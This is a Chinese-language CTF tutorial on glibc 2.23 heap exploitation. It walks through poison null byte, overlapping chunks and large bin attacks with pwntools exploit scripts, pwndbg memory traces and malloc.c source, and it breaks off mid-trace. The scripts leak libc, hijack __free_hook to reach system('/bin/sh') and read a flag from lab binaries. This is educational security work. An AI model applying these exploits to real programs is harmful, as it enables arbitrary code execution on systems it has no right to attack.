【pwn4heap】glibc2.23其二

2025/11/15 pwn4heap 共 34787 字,约 100 分钟

【pwn4heap】glibc2.23其二

在CTF竞赛体系中,pwn类题目因其直接关联底层系统安全机制,常被视为核心挑战方向。其中,堆利用技术涉及动态内存管理的复杂交互,是突破现代软件防御体系的关键路径之一。本系列聚焦于glibc 2.23环境下的堆漏洞利用方法,该版本因其广泛存在与典型性,成为相关研究的常见基础。通过系统分析与归纳,本系列整理出约43种利用技术,涵盖从基础结构破坏到高级组合利用的多种场景,旨在为后续学习、教学与实践提供结构化的参考。笔者期望借此推动该领域的技术积累与方法论沉淀,促进安全研究社区的交流与进步。

1. glibc2.23

1-8 poison null byte

本方法利用null byte制造重叠的chunk,实现evil chunk覆盖或部分覆盖normal chunk的区域,进而对normal chunk里的数据进行任意操作。

测试的二进制源码参考binary.c,相关exoloit.py完整内容可见exploit.py

核心利用代码如下:

conn.sendlineafter(b"Enter author name: ", b"A" * 0x20)
create_book(0x80, b"B" * 0x8, 0x80, b"B" * 0x8)
create_book(0x80, b"C" * 0x8, 0x80, b"C" * 0x8)

# prepare unsorted bin leak
delete_book(2)
print_books()
conn.recvuntil(b"A" * 0x20)
heap_leak = u64(conn.recv(6).ljust(8, b"\x00"))
book1_addr = heap_leak
book2_addr = heap_leak + 0x150
log.info(f"heap leak: {hex(heap_leak)}")
log.info(f"book[0] addr: {hex(book1_addr)}")
log.info(f"book[1] addr: {hex(book2_addr)}")

payload = b"D" * 0x60
# build fake book
payload += p64(1) + p64(book2_addr - 0x120) + p64(book2_addr + 0x10) + p64(0x1000)
edit_book(1, payload)
# poison null byte leak
change_author(b"A" * 0x20)

# read unsorted bin fd
print_books()
conn.recvuntil(b"Name: ")
main_arena88_leak = u64(conn.recv(6).ljust(8, b"\x00"))
libc.address = main_arena88_leak - 0x38DB78
log.info(f"main_arena+88 leak: {hex(main_arena88_leak)}")
log.info(f"libc base: {hex(libc.address)}")
log.info(f"system addr: {hex(libc.sym['system'])}")
binsh_addr = next(libc.search(b"/bin/sh"))
log.info(f"binsh addr: {hex(binsh_addr)}")

# retrieve books[1] = (book2_addr)
create_book(0x80, b"C" * 0x8, 0x80, b"C" * 0x8)
edit_book(1, p64(libc.sym["__free_hook"]))
edit_book(2, p64(libc.sym["system"]))
edit_book(1, p64(binsh_addr))
delete_book(2)
cmd = b"cat src/2.23/poison_null_byte/flag\x00"
conn.sendline(cmd)
conn.recvline()
flag = conn.recvline().decode().strip()
log.success(f"flag: {format_flag(flag)}")

测试二进制存在一个明显的漏洞,当author_name输入长度出现off-by-one时,正好可以覆盖books结构指针的最低有效位,实现重叠chunk的效果。

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x61359f814000
Size: 0x90 (with flag bits: 0x91)

Allocated chunk | PREV_INUSE
Addr: 0x61359f814090
Size: 0x90 (with flag bits: 0x91)

Allocated chunk | PREV_INUSE
Addr: 0x61359f814120
Size: 0x30 (with flag bits: 0x31)

Allocated chunk | PREV_INUSE
Addr: 0x61359f814150
Size: 0x90 (with flag bits: 0x91)

Allocated chunk | PREV_INUSE
Addr: 0x61359f8141e0
Size: 0x90 (with flag bits: 0x91)

Allocated chunk | PREV_INUSE
Addr: 0x61359f814270
Size: 0x30 (with flag bits: 0x31)

Top chunk | PREV_INUSE
Addr: 0x61359f8142a0
Size: 0x20d60 (with flag bits: 0x20d61)

pwndbg> x/8gx author_name
0x61356eb11080 <author_name>:    0x4141414141414141      0x4141414141414141 <= author_name
0x61356eb11090 <author_name+16>: 0x4141414141414141      0x4141414141414141
0x61356eb110a0 <books>:          0x000061359f814130      0x000061359f814280 <= books[0]   books[1]
0x61356eb110b0 <books+16>:       0x0000000000000000      0x0000000000000000
pwndbg>  p/x *(struct book_t*)0x61359f814130
$1 = {
  id = 0x1,
  name = 0x61359f814010,
  desc = 0x61359f8140a0,
  desc_size = 0x80
}
pwndbg>  p/x *(struct book_t*)0x61359f814280
$2 = {
  id = 0x2,
  name = 0x61359f814160,
  desc = 0x61359f8141f0,
  desc_size = 0x80
}

可以直观观察到测试二进制相关数据结构布局。首先泄露books数组的指针,为后续操作提供基础。

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x61359f814000
Size: 0x90 (with flag bits: 0x91)

Allocated chunk | PREV_INUSE
Addr: 0x61359f814090
Size: 0x90 (with flag bits: 0x91)

Allocated chunk | PREV_INUSE
Addr: 0x61359f814120
Size: 0x30 (with flag bits: 0x31)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x61359f814150
Size: 0x120 (with flag bits: 0x121)
fd: 0x72bb71b8db78
bk: 0x72bb71b8db78

Free chunk (fastbins)
Addr: 0x61359f814270
Size: 0x30 (with flag bits: 0x30)
fd: 0x00

Top chunk | PREV_INUSE
Addr: 0x61359f8142a0
Size: 0x20d60 (with flag bits: 0x20d61)

pwndbg> fastbins 
fastbins
0x30: 0x61359f814270 ◂— 0
pwndbg> unsortedbin 
unsortedbin
all: 0x61359f814150 —▸ 0x72bb71b8db78 (main_arena+88) ◂— 0x61359f814150

释放books[1]指针,产生unsortedbin为后续泄露libc地址做好准备。

pwndbg> p/x *(struct book_t*)books[0]
$3 = {
  id = 0x1,
  name = 0x61359f814010,
  desc = 0x61359f8140a0,
  desc_size = 0x80
}
pwndbg> p/x books[0]             
$4 = 0x61359f814130
pwndbg> p/x *(struct book_t*)0x61359f814100
$5 = {
  id = 0x1,
  name = 0x61359f814160,
  desc = 0x61359f814290,
  desc_size = 0x1000
}
pwndbg> x/22gx 0x61359f8140a0
0x61359f8140a0: 0x4444444444444444      0x4444444444444444
0x61359f8140b0: 0x4444444444444444      0x4444444444444444
0x61359f8140c0: 0x4444444444444444      0x4444444444444444
0x61359f8140d0: 0x4444444444444444      0x4444444444444444
0x61359f8140e0: 0x4444444444444444      0x4444444444444444
0x61359f8140f0: 0x4444444444444444      0x4444444444444444
0x61359f814100: 0x0000000000000001      0x000061359f814160  <= fake_book.id   fake_book.name
0x61359f814110: 0x000061359f814290      0x0000000000001000  <= fake_book.desc fake_book.desc_size
0x61359f814120: 0x0000000000000000      0x0000000000000031
0x61359f814130: 0x0000000000000001      0x000061359f814010  <= books[0].id    books[id].name
0x61359f814140: 0x000061359f8140a0      0x0000000000000080  <= books[0].desc  books[id].desc_size

在books[0]中伪造fake book,其布局是经过深思熟虑的。heap内存是从低往高处增加的,目标通过author_name溢出null byte到books[0],使其books[0]指针往前移动若干字节,移动的长度不定,但是最低有效位一定为\x00。

pwndbg> fastbins 
fastbins
0x30: 0x61359f814270 ◂— 0
pwndbg> unsortedbin 
unsortedbin
all: 0x61359f814150 —▸ 0x72bb71b8db78 (main_arena+88) ◂— 0x61359f814150
pwndbg> 

fake book的name正好位于unsortedbin,据此可以泄露libc地址。

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x61359f814000
Size: 0x90 (with flag bits: 0x91)

Allocated chunk | PREV_INUSE
Addr: 0x61359f814090
Size: 0x90 (with flag bits: 0x91)

Allocated chunk | PREV_INUSE
Addr: 0x61359f814120
Size: 0x30 (with flag bits: 0x31)

Allocated chunk | PREV_INUSE
Addr: 0x61359f814150
Size: 0x90 (with flag bits: 0x91)

Allocated chunk | PREV_INUSE
Addr: 0x61359f8141e0
Size: 0x90 (with flag bits: 0x91)

Allocated chunk | PREV_INUSE
Addr: 0x61359f814270
Size: 0x30 (with flag bits: 0x31)

Top chunk | PREV_INUSE
Addr: 0x61359f8142a0
Size: 0x20d60 (with flag bits: 0x20d61)

pwndbg> x/8gx author_name 
0x61356eb11080 <author_name>:    0x4141414141414141      0x4141414141414141
0x61356eb11090 <author_name+16>: 0x4141414141414141      0x4141414141414141
0x61356eb110a0 <books>:          0x000061359f814100      0x000061359f814280 <= books[0]   books[1]
0x61356eb110b0 <books+16>:       0x0000000000000000      0x0000000000000000
pwndbg> p/x *(struct book_t*)0x000061359f814100
$6 = {
  id = 0x1,
  name = 0x61359f814160,
  desc = 0x61359f814290,
  desc_size = 0x1000
}
pwndbg> p/x *(struct book_t*)0x000061359f814280
$7 = {
  id = 0x2,
  name = 0x61359f814160,
  desc = 0x72bb71b8f7c8,
  desc_size = 0x0
}

重新申请books[1],由于book[0]控制着books[1]的区域,加上已经获取libc地址,可以实现任意地址读写。

pwndbg> p/x *(struct book_t*)0x000061359f814100
$21 = {
  id = 0x1,
  name = 0x61359f814160,
  desc = 0x61359f814290,
  desc_size = 0x1000
}
pwndbg> p/x *(struct book_t*)0x000061359f814280
$22 = {
  id = 0x2,
  name = 0x61359f814160,
  desc = 0x72bb71b8f7c8,
  desc_size = 0x0
}
pwndbg> x/1gx 0x72bb71b8f7c8
0x72bb71b8f7c8 <__free_hook>:   0x0000000000000000

可以发现books[1].desc已经成功修改为__free_hook的地址。此时,编辑books[1].desc即可将__free_hook修改为system,进而获取shell就变得相当容易。

1-9 overlapping chunks

本方法利用off-by-one增加victim chunk的尺寸大小,实现evil chunk覆盖或部分覆盖normal chunk的区域,进而对normal chunk里的数据进行任意操作。

测试的二进制源码参考binary.c,相关exoloit.py完整内容可见exploit.py

核心利用代码如下:

fixed_cost = 0x10
# overlapping chunks
malloc(0, 0x100 - 0x8 - fixed_cost, b"A" * 0x8)
malloc(1, 0x100 - 0x8 - fixed_cost, b"B" * 0x8)
malloc(2, 0x80 - 0x8 - fixed_cost, b"C" * 0x8)
malloc(3, 0x80 - 0x8 - fixed_cost, b"D" * 0x8)
delete(1)
payload = b"A" * (0x100 - 0x8) + b"\x81"
edit(0, len(payload), payload)
malloc(4, (0x100 + 0x80 - 0x10 - fixed_cost), b"B" * 0x8)
payload = b"B" * (0x100 - 0x8 - 0x8) + p64(0x110) + b"\x91"
edit(3, len(payload), payload)
delete(1)
payload = b"B" * 0x100
edit(2, len(payload), payload)
show(2)
conn.recvuntil(b"B" * 0x100)
main_arena88_leak = u64(conn.recv(6).ljust(8, b"\x00"))
libc.address = main_arena88_leak - 0x38DB78
log.info(f"main_arena+88 leak: {hex(main_arena88_leak)}")
log.info(f"libc base: {hex(libc.address)}")
log.info(f"system addr: {hex(libc.sym['system'])}")
binsh_addr = next(libc.search(b"/bin/sh"))
log.info(f"binsh addr: {hex(binsh_addr)}")
# restore deleted chunk 2
payload = b"B" * (0x100 - 0x8 - 0x8) + p64(0x110) + p64(0x91)
edit(2, len(payload), payload)
malloc(5, 0x80 - 0x8 - fixed_cost, b"E" * 0x8)
# increase the total_chunks, bypass is_valid_index check
malloc(6, 0x80 - 0x8 - fixed_cost, b"F" * 0x8)
payload = b"B" * (0x100 - 0x8 - 0x8)
payload += p64(0x110) + p64(0x91) + p64(libc.sym["__free_hook"] - 0x20)
edit(2, len(payload), payload)
payload = p64(0) + p64(0) + p64(libc.sym["system"]) + p64(0x20)
edit(4, len(payload), payload)
payload = b"B" * (0x100 - 0x8 - 0x8) + p64(0x110) + p64(0x91)
payload += b"/bin/sh\x00" + p64(0)
edit(2, len(payload), payload)
delete(3)
cmd = b"cat src/2.23/overlapping_chunks/flag\x00"
conn.sendline(cmd)
flag = conn.recvline().decode().strip()
log.success(f"flag: {format_flag(flag)}")

测试二进制通过手工实现单链表演示此次技术,链表结构如下:

// Linked list node structure
struct chunk_t {
  struct chunk_t *next;
  uint64_t data_size;
  char data[];
} __attribute__((aligned(16)));

连续申请chunkA、chunkB、chunkC、chunkD,heap结构布局如下:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x586c5f349000
Size: 0x110 (with flag bits: 0x111)

Allocated chunk | PREV_INUSE
Addr: 0x586c5f349110
Size: 0x110 (with flag bits: 0x111)

Allocated chunk | PREV_INUSE
Addr: 0x586c5f349220
Size: 0x90 (with flag bits: 0x91)

Allocated chunk | PREV_INUSE
Addr: 0x586c5f3492b0
Size: 0x90 (with flag bits: 0x91)

Top chunk | PREV_INUSE
Addr: 0x586c5f349340
Size: 0x20cc0 (with flag bits: 0x20cc1)
pwndbg> 

0 -> 1 -> 2 - > 3
0x586c5f349000 -> 0x586c5f349110 -> 0x586c5f349220 -> 0x586c5f3492b0

接着释放node[1],heap结构布局如下:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x586c5f349000
Size: 0x110 (with flag bits: 0x111)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x586c5f349110
Size: 0x110 (with flag bits: 0x111)
fd: 0x77c41258db78
bk: 0x77c41258db78

Allocated chunk
Addr: 0x586c5f349220
Size: 0x90 (with flag bits: 0x90)

Allocated chunk | PREV_INUSE
Addr: 0x586c5f3492b0
Size: 0x90 (with flag bits: 0x91)

Top chunk | PREV_INUSE
Addr: 0x586c5f349340
Size: 0x20cc0 (with flag bits: 0x20cc1)

pwndbg> unsortedbin 
unsortedbin
all: 0x586c5f349110 —▸ 0x77c41258db78 (main_arena+88) ◂— 0x586c5f349110
pwndbg> 

0 -> 2 - > 3
0x586c5f349000 -> 0x586c5f349220 -> 0x586c5f3492b0

此时编辑node[0],使得0x586c5f349110chunk尺寸增大至0x181。

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x586c5f349000
Size: 0x110 (with flag bits: 0x111)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x586c5f349110
Size: 0x180 (with flag bits: 0x181)
fd: 0x77c41258db78
bk: 0x77c41258db78

Allocated chunk
Addr: 0x586c5f349290
Size: 0x00 (with flag bits: 0x00)

pwndbg> unsortedbin 
unsortedbin
all: 0x586c5f349110 —▸ 0x77c41258db78 (main_arena+88) ◂— 0x586c5f349110
pwndbg> 

此时申请node[4],便是增大尺寸的0x586c5f349110chunk。

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x586c5f349000
Size: 0x110 (with flag bits: 0x111)

Allocated chunk | PREV_INUSE
Addr: 0x586c5f349110
Size: 0x180 (with flag bits: 0x181)

Allocated chunk | PREV_INUSE
Addr: 0x586c5f349290
Size: 0x00 (with flag bits: 0x01)

pwndbg> x/40gx 0x586c5f349110
0x586c5f349110: 0x4141414141414141      0x0000000000000181
0x586c5f349120: 0x0000000000000000      0x0000000000000160
0x586c5f349130: 0x4242424242424242      0x0000000000000000
...
0x586c5f349220: 0x0000000000000110      0x0000000000000090
0x586c5f349230: 0x0000586c5f3492c0      0x0000000000000068
0x586c5f349240: 0x4343434343434343      0x0000000000000000
pwndbg> 

0 -> 2 - > 3 -> 4
0x586c5f349000 -> 0x586c5f349220 -> 0x586c5f3492b0 -> 0x586c5f349110

修改 node[2]的prev_in_use为true。

pwndbg> x/40gx 0x586c5f349110
0x586c5f349110: 0x4141414141414141      0x0000000000000181
0x586c5f349120: 0x0000000000000000      0x00000000000000f9
0x586c5f349130: 0x4242424242424242      0x4242424242424242
...
0x586c5f349220: 0x0000000000000110      0x0000000000000091 <= fix prev_in_use 90 -> 91
0x586c5f349230: 0x0000586c5f3492c0      0x0000000000000068
0x586c5f349240: 0x4343434343434343      0x0000000000000000
pwndbg> 

接着释放node[2],heap结构布局如下:

pwndbg> unsortedbin 
unsortedbin
all: 0x586c5f349220 —▸ 0x77c41258db78 (main_arena+88) ◂— 0x586c5f349220
pwndbg> 

0 - > 3 -> 4
0x586c5f349000 -> 0x586c5f3492b0 -> 0x586c5f349110

由于node[4]覆盖node[2]部分范围,可以利用这个泄露libc地址。

pwndbg> x/40gx 0x586c5f349110
0x586c5f349110: 0x4141414141414141      0x0000000000000181
0x586c5f349120: 0x0000000000000000      0x00000000000000f9
0x586c5f349130: 0x4242424242424242      0x4242424242424242
...
0x586c5f349220: 0x4242424242424242      0x4242424242424242
0x586c5f349230: 0x000077c41258db78      0x000077c41258db78
0x586c5f349240: 0x4343434343434343      0x0000000000000000
pwndbg>

接着还原node[2]的chunk结构。

pwndbg> x/40gx 0x586c5f349110
0x586c5f349110: 0x4141414141414141      0x0000000000000181
0x586c5f349120: 0x0000000000000000      0x00000000000000f9
0x586c5f349130: 0x4242424242424242      0x4242424242424242
...
0x586c5f349220: 0x0000000000000110      0x0000000000000091
0x586c5f349230: 0x000077c41258db78      0x000077c41258db78
0x586c5f349240: 0x4343434343434343      0x0000000000000000
pwndbg> 

申请node[5],取出unsortedbin内的chunk。

0 - > 3 -> 4 -> 5
0x586c5f349000 -> 0x586c5f3492b0 -> 0x586c5f349110 -> 0x586c5f349220

接着再申请一个额外的node,用来绕过is_valid_index检查。

pwndbg> p/x *(struct chunk_t*)0x586c5f349230
$1 = {
  next = 0x586c5f349350,
  data_size = 0x68,
  data = 0x586c5f349240
}
pwndbg> 
0 - > 3 -> 4 -> 5 -> 6
0x586c5f349000 -> 0x586c5f3492b0 -> 0x586c5f349110 -> 0x586c5f349220 -> 0x0000586c5f349350

编辑node[4],修改node[5].next为__free_hook-0x20

pwndbg> p/x *(struct chunk_t*)0x586c5f349230
$2 = {
  next = 0x77c41258f7a8,
  data_size = 0x68,
  data = 0x586c5f349240
}
pwndbg> x/8gx 0x77c41258f7a8-0x10
0x77c41258f798 <_IO_stdfile_2_lock+8>:  0x0000000000000000      0x0000000000000000
0x77c41258f7a8 <_IO_stdfile_1_lock+8>:  0x0000000000000000      0x0000000000000000
0x77c41258f7b8 <_IO_stdfile_0_lock+8>:  0x0000000000000000      0x0000000000000000
0x77c41258f7c8 <__free_hook>:           0x0000000000000000      0x0000000000000000
pwndbg> 

0 - > 3 -> 4 -> 5 -> fake chunk_t
0x586c5f349000 -> 0x586c5f3492b0 -> 0x586c5f349110 -> 0x586c5f349220 -> 0x77c41258f798

接着修改fake chunk_t里__free_hook为system地址,进而获取shell。

1-10 large bin attack其一

本方法利用glibc对于large bin管理缺陷而实现恶意操作。相关glibc完整源码参见malloc.c

for (;; )
  {
    int iters = 0;
    while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
      {
        bck = victim->bk;
        if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
            || __builtin_expect (victim->size > av->system_mem, 0))
          malloc_printerr (check_action, "malloc(): memory corruption",
                           chunk2mem (victim), av);
        size = chunksize (victim);

        /*
           If a small request, try to use last remainder if it is the
           only chunk in unsorted bin.  This helps promote locality for
           runs of consecutive small requests. This is the only
           exception to best-fit, and applies only when there is
           no exact fit for a small chunk.
         */

        if (in_smallbin_range (nb) &&
            bck == unsorted_chunks (av) &&
            victim == av->last_remainder &&
            (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
          {
            /* split and reattach remainder */
            remainder_size = size - nb;
            remainder = chunk_at_offset (victim, nb);
            unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
            av->last_remainder = remainder;
            remainder->bk = remainder->fd = unsorted_chunks (av);
            if (!in_smallbin_range (remainder_size))
              {
                remainder->fd_nextsize = NULL;
                remainder->bk_nextsize = NULL;
              }

            set_head (victim, nb | PREV_INUSE |
                      (av != &main_arena ? NON_MAIN_ARENA : 0));
            set_head (remainder, remainder_size | PREV_INUSE);
            set_foot (remainder, remainder_size);

            check_malloced_chunk (av, victim, nb);
            void *p = chunk2mem (victim);
            alloc_perturb (p, bytes);
            return p;
          }

        /* remove from unsorted list */
        unsorted_chunks (av)->bk = bck;
        bck->fd = unsorted_chunks (av);

        /* Take now instead of binning if exact fit */

        if (size == nb)
          {
            set_inuse_bit_at_offset (victim, size);
            if (av != &main_arena)
              victim->size |= NON_MAIN_ARENA;
            check_malloced_chunk (av, victim, nb);
            void *p = chunk2mem (victim);
            alloc_perturb (p, bytes);
            return p;
          }

        /* place chunk in bin */

        if (in_smallbin_range (size))
          {
            victim_index = smallbin_index (size);
            bck = bin_at (av, victim_index);
            fwd = bck->fd;
          }
        else
          {
            victim_index = largebin_index (size);
            bck = bin_at (av, victim_index);
            fwd = bck->fd;

            /* maintain large bins in sorted order */
            if (fwd != bck)
              {
                /* Or with inuse bit to speed comparisons */
                size |= PREV_INUSE;
                /* if smaller than smallest, bypass loop below */
                assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
                if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
                  {
                    fwd = bck;
                    bck = bck->bk;

                    victim->fd_nextsize = fwd->fd;
                    victim->bk_nextsize = fwd->fd->bk_nextsize;
                    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                  }
                else
                  {
                    assert ((fwd->size & NON_MAIN_ARENA) == 0);
                    while ((unsigned long) size < fwd->size)
                      {
                        fwd = fwd->fd_nextsize;
                        assert ((fwd->size & NON_MAIN_ARENA) == 0);
                      }

                    if ((unsigned long) size == (unsigned long) fwd->size)
                      /* Always insert in the second position.  */
                      fwd = fwd->fd;
                    else
                      {
                        victim->fd_nextsize = fwd;
                        victim->bk_nextsize = fwd->bk_nextsize;
                        fwd->bk_nextsize = victim;
                        victim->bk_nextsize->fd_nextsize = victim;   <= bug
                      }
                    bck = fwd->bk;
                  }
              }
            else
              victim->fd_nextsize = victim->bk_nextsize = victim;
          }

        mark_bin (av, victim_index);
        victim->bk = bck;
        victim->fd = fwd;
        fwd->bk = victim;
        bck->fd = victim;   <= bug

#define MAX_ITERS       10000
        if (++iters >= MAX_ITERS)
          break;
      }

large bin涉及的bug存在于两个地方,分别为victim->bk_nextsize->fd_nextsize = victim;bck->fd = victim;。实现的效果是普通的unsorted bin attack的两倍,毕竟可以同时修改任意位置内容两次。

测试的二进制源码参考binary.c,相关exoloit.py完整内容可见exploit.py

核心利用代码如下:

# large bin attack
malloc(0, 0x420, b"A" * 0x8)
malloc(1, 0x20, b"A" * 0x8)
malloc(2, 0x500, b"B" * 0x8)
malloc(3, 0x20, b"B" * 0x8)
malloc(4, 0x500, b"C" * 0x8)
malloc(5, 0x20, b"C" * 0x8)
delete(0)
delete(2)
show(0)
main_arena88_leak = u64(conn.recv(6).ljust(8, b"\x00"))
log.info(f"main_arena+88 leak: {hex(main_arena88_leak)}")
edit(0, 0x8, b"A" * 0x8)
show(0)
conn.recvuntil(b"A" * 0x8)
chunk2_addr = u64(conn.recv(4).ljust(8, b"\x00"))
chunk4_addr = chunk2_addr + 0x510 + 0x30
log.info(f"chunk2 addr leak: {hex(chunk2_addr)}")
log.info(f"chunk4 addr leak: {hex(chunk4_addr)}")
edit(0, 0x8, p64(main_arena88_leak))

malloc(6, 0x90, b"D" * 0x8)
delete(4)
# 004041e0  uint64_t magic = 0x0
magic = 0x004041E0
payload = b"A" * 0x28 + p64(0x3F1)
payload += p64(0) + p64(magic - 0x10) + p64(0) + p64(magic - 0x20)
edit(1, len(payload), payload)
malloc(7, 0x90, b"E" * 0x8)
use_magic(chunk4_addr)
cmd = b"cat src/2.23/large_bin_attack/flag\x00"
conn.sendline(cmd)
flag = conn.recvline().decode().strip()
log.success(f"flag: {format_flag(flag)}")

连续申请chunkA、chunkB、chunkC及其栅栏chunk。相关heap结构布局如下:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x18585000
Size: 0x430 (with flag bits: 0x431)

Allocated chunk | PREV_INUSE
Addr: 0x18585430
Size: 0x30 (with flag bits: 0x31)

Allocated chunk | PREV_INUSE
Addr: 0x18585460
Size: 0x510 (with flag bits: 0x511)

Allocated chunk | PREV_INUSE
Addr: 0x18585970
Size: 0x30 (with flag bits: 0x31)

Allocated chunk | PREV_INUSE
Addr: 0x185859a0
Size: 0x510 (with flag bits: 0x511)

Allocated chunk | PREV_INUSE
Addr: 0x18585eb0
Size: 0x30 (with flag bits: 0x31)

Top chunk | PREV_INUSE
Addr: 0x18585ee0
Size: 0x20120 (with flag bits: 0x20121)

pwndbg> 

连续释放chunkA、chunkB,将其推入unsortedbin中,为接下来泄露heap和libc做好准备。

pwndbg> unsortedbin 
unsortedbin
all: 0x18585460 —▸ 0x18585000 —▸ 0x7d2e9a18db78 (main_arena+88) ◂— 0x18585460
pwndbg> x/4gx 0x18585460
0x18585460:     0x703698ab9440870d      0x0000000000000511
0x18585470:     0x0000000018585000      0x00007d2e9a18db78
pwndbg> x/4gx 0x18585000
0x18585000:     0x0000000000000000      0x0000000000000431
0x18585010:     0x00007d2e9a18db78      0x0000000018585460
pwndbg> 

接着申请chunkD,将切割chunkA为两部分,一部分留在unsortedbin,一部分返回给chunkD。而chunkB被移动至largebins。

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x18585000
Size: 0xa0 (with flag bits: 0xa1)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x185850a0
Size: 0x390 (with flag bits: 0x391)
fd: 0x7d2e9a18db78
bk: 0x7d2e9a18db78

Allocated chunk
Addr: 0x18585430
Size: 0x30 (with flag bits: 0x30)

Free chunk (largebins) | PREV_INUSE
Addr: 0x18585460
Size: 0x510 (with flag bits: 0x511)
fd: 0x7d2e9a18dfa8
bk: 0x7d2e9a18dfa8
fd_nextsize: 0x18585460
bk_nextsize: 0x18585460

Allocated chunk
Addr: 0x18585970
Size: 0x30 (with flag bits: 0x30)

Allocated chunk | PREV_INUSE
Addr: 0x185859a0
Size: 0x510 (with flag bits: 0x511)

Allocated chunk | PREV_INUSE
Addr: 0x18585eb0
Size: 0x30 (with flag bits: 0x31)

Top chunk | PREV_INUSE
Addr: 0x18585ee0
Size: 0x20120 (with flag bits: 0x20121)

pwndbg> unsortedbin 
unsortedbin
all: 0x185850a0 —▸ 0x7d2e9a18db78 (main_arena+88) ◂— 0x185850a0
pwndbg> largebins 
largebins
0x500-0x530: 0x18585460 —▸ 0x7d2e9a18dfa8 (main_arena+1160) ◂— 0x18585460
pwndbg> 

这时释放chunkC,将移动至unsortedbin。

pwndbg> unsortedbin 
unsortedbin
all: 0x185859a0 —▸ 0x185850a0 —▸ 0x7d2e9a18db78 (main_arena+88) ◂— 0x185859a0
pwndbg> largebins 
largebins
0x500-0x530: 0x18585460 —▸ 0x7d2e9a18dfa8 (main_arena+1160) ◂— 0x18585460
pwndbg> x/6gx 0x18585460
0x18585460:     0x703698ab9440870d      0x0000000000000511
0x18585470:     0x00007d2e9a18dfa8      0x00007d2e9a18dfa8
0x18585480:     0x0000000018585460      0x0000000018585460
pwndbg> 

接着修改chunkB的size、bk、bk_nextsize,其中bk与bk_nextsize作为利用点可以首先任意地址写,但是内容不可控。

pwndbg> unsortedbin 
unsortedbin
all: 0x185859a0 —▸ 0x185850a0 —▸ 0x7d2e9a18db78 (main_arena+88) ◂— 0x185859a0
pwndbg> largebins 
largebins
0x500-0x530 [corrupted]
FD: 0x18585460 ◂— 0
BK: 0x18585460 —▸ 0x4041d0 (chunks+240) ◂— 0
pwndbg> x/6gx 0x18585460
0x18585460:     0x4141414141414141      0x00000000000003f1
0x18585470:     0x0000000000000000      0x00000000004041d0
0x18585480:     0x0000000000000000      0x00000000004041c0
pwndbg> 

申请chunkE触发large bin attack。

In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3472
   3466 
   3467   for (;; )
   3468     {
   3469       int iters = 0;
   3470       while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
   3471         {
 ► 3472           bck = victim->bk;
 
pwndbg> p/x victim
$1 = 0x185850a0
pwndbg> p/x victim->bk
$2 = 0x185859a0
pwndbg> p/x bck
$3 = 0x185859a0

进入第一次循环。

In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3521
   3515           /* remove from unsorted list */
   3516           unsorted_chunks (av)->bk = bck;
   3517           bck->fd = unsorted_chunks (av);
   3518 
   3519           /* Take now instead of binning if exact fit */
   3520 
 ► 3521           if (size == nb)
   3522             {
   3523               set_inuse_bit_at_offset (victim, size);
   
pwndbg> unsortedbin 
unsortedbin
all: 0x185859a0 —▸ 0x7d2e9a18db78 (main_arena+88) ◂— 0x185859a0
pwndbg> 
pwndbg> p/x size
$8 = 0x390
pwndbg> p/x nb
$9 = 0xa0

提取unsortedbin里0x185850a0准备作为此次申请的内容,但是尺寸远大与需要的的内容,跳过if (size == nb)条件。

In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3534
   3528               alloc_perturb (p, bytes);
   3529               return p;
   3530             }
   3531 
   3532           /* place chunk in bin */
   3533 
 ► 3534           if (in_smallbin_range (size))
   3535             {
   3536               victim_index = smallbin_index (size);
   3537               bck = bin_at (av, victim_index);
   3538               fwd = bck->fd;

满足small bin尺寸要求,于是0x185850a0移动至small bin。

In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3595
   3589           victim->bk = bck;
   3590           victim->fd = fwd;
   3591           fwd->bk = victim;
   3592           bck->fd = victim;
   3593 
   3594 #define MAX_ITERS       10000
 ► 3595           if (++iters >= MAX_ITERS)
 
pwndbg> smallbins 
smallbins
0x390: 0x185850a0 —▸ 0x7d2e9a18def8 (main_arena+984) ◂— 0x185850a0
pwndbg> 

接着进入第二次循环。

In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3472
   3466 
   3467   for (;; )
   3468     {
   3469       int iters = 0;
   3470       while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
   3471         {
 ► 3472           bck = victim->bk;
 
pwndbg> p/x victim
$10 = 0x185859a0
pwndbg> p/x victim->bk
$11 = 0x7d2e9a18db78

In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3521
   3515           /* remove from unsorted list */
   3516           unsorted_chunks (av)->bk = bck;
   3517           bck->fd = unsorted_chunks (av);
   3518 
   3519           /* Take now instead of binning if exact fit */
   3520 
 ► 3521           if (size == nb)
    3522             {

pwndbg> p/x size
$13 = 0x510
pwndbg> p/x nb
$14 = 0xa0

提取unsortedbin里0x185859a0,准备作为此次申请的内容。由于尺寸远大于目标,还是跳过if (size == nb)条件。

In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3542
   3534           if (in_smallbin_range (size))
   3535             {
   3536               victim_index = smallbin_index (size);
   3537               bck = bin_at (av, victim_index);
   3538               fwd = bck->fd;
   3539             }
   3540           else
   3541             {
 ► 3542               victim_index = largebin_index (size);
   3543               bck = bin_at (av, victim_index);
